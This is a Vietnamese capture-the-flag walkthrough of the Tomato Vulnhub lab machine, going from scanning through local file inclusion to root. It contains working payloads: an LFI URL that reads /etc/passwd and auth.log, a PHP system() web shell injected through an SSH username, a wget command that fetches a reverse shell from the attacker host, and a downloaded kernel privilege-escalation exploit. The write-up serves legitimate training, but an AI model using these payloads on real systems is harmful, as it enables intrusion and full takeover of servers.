[Tomato Vulnhub Walkthrough ] from LFI to RCE

Giới thiệu

Tomato là 1 machine về leo quyền trên Linux được thiết kế bởi SunCSR team, thông tin về machine các bạn có thể xem tại đây.

Cài đặt machine

Để chạy Tomato thì chúng ta nên cài đặt VMware Workstation Pro 15, machine đã được kiểm tra trên phiên bản này rồi nên chúng ta có thể cài đặt mà không lo bị lỗi.

Việc cài đặt rất đơn giản: chỉ cần tải file Tomato.zip về, giải nén ra, sau đó trong VMware chọn file > open > chọn** file ovf/ova** > chọn "I copied it" là được.

Sau khi cài đặt VM rồi, chúng ta cần kiểm tra lại thông tin VM xem Network Adapter đã ở chế độ NAT chưa. Nếu đang ở chế độ Bridge thì chúng ta cần chuyển sang chế độ NAT, chỉ cần chọn Edit virtual machine settings > tại mục Network Adapter chọn NAT > save.

Network Scanning

Đầu tiên để tìm kiếm địa chỉ IP của máy mục tiêu, ta tiến hành kiểm tra ip của máy với lệnh ifconfig

Với IP là 192.168.1.4 chúng ta sử dụng nmap quét toàn bộ ip trong dải này để tìm kiếm ip của Tomato nmap 192.168.1.0/24

Scan với nmap : nmap -sV -sS -p- 192.168.1.3

  • -sS: scan bằng giao tức TCP SYN
  • -sV: scan tìm phiên bản của các dịch vụ chạy trên cổng
  • -p-: scan with full port (65535 port)

Enumeration

Bắt đầu với port 80 , sử dụng dirb để liệt kê thư mục

dirb http://192.168.1.3 -f

Truy cập theo đường dẫn dirb trả về:

Tiến hành view-source ta nhận được nội dung:

</?php include $_GET['image']; ?> gợi ý cho chúng ta về lỗ hổng Local File Inclusion (LFI)

Khai thác Local File Inclusion (LFI)

Với những gì tác giả đã để lại, chúng ta tiến hành kiểm thử với payload sau:

http://192.168.1.3/antibot_image/antibots/info.php?image=/etc/passwd

From LFI to RCE

Với LFI trong tay, mình lần lượt tìm đọc nội dung các file quan trọng và phát hiện auth.log có thể đọc được thông qua lỗ hổng này

Payload http://192.168.1.3/antibot_image/antibots/info.php?image=/var/log/auth.log

"auth.log" là file lưu trữ nhật ký truy cập hệ thống. Khi chúng ta đăng nhập thông qua giao diện chính hay qua SSH thì các thông tin đều được lưu trữ tại đây kể cả thành công hay thất bại . Ví dụ như khi chúng ta đăng nhập vào Server thông qua SSH với nội dung ssh [email protected] và nhập mật khẩu sai nhiều lần, thì nội dung auth.log sẽ ghi nhận :

user unknown Oct 18 08:59:17 ubuntu sshd[916]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.10 Oct 18 08:59:20 ubuntu sshd[916]: Failed password for invalid user abcd from 192.168.1.10 port 54254 ssh2

Như vậy phương pháp của chúng ta đơn giản chỉ cần thay user abcd kia thành payload tùy ý, từ đó hoàn toàn có thể kiểm soát server.

Payload:

ssh '<?php system($_GET["cmd"]);?>'@192.168.1.3 -p 2211
#
http://192.168.1.3/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=id

Tiến hành thực hiện revershell-shell theo cách sau :

Bước 1: Download php-reverse-shell tại đây

Bước 2: Chỉnh sửa nội dung [host/port]

Bước 3: Sử dụng SimpleHTTPServer để build một web-server đơn giản trên máy attacker

python3 -m http.server 8081

Bước 4: Download shell về Tomato

Payload: http://192.168.1.3/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=wget%20192.168.1.4:8081/php-reverse-shell.php%20-O%20/tmp/shell.php

Bước 5: Thực thi shell

http://192.168.1.3/antibot_image/antibots/info.php?image=/tmp/shell.php

Privilege Escalation

Kểm tra phiên bản Kernel bằng cách sử dụng lệnh:

uname -a

Phiên bản Kernel tồn tại lỗ hổng cho phép leo thang đặc quyền .

Thực hiện download mã khai thác và biên dịch với GCC trên máy Attacker

wget https://www.exploit-db.com/raw/45010 -O exploit.c
gcc exploit.c -o exploit
chmod +x exploit

Chuyển mã khai thác sang Tomato và thực thi

ROOTED!!!


All Rights Reserved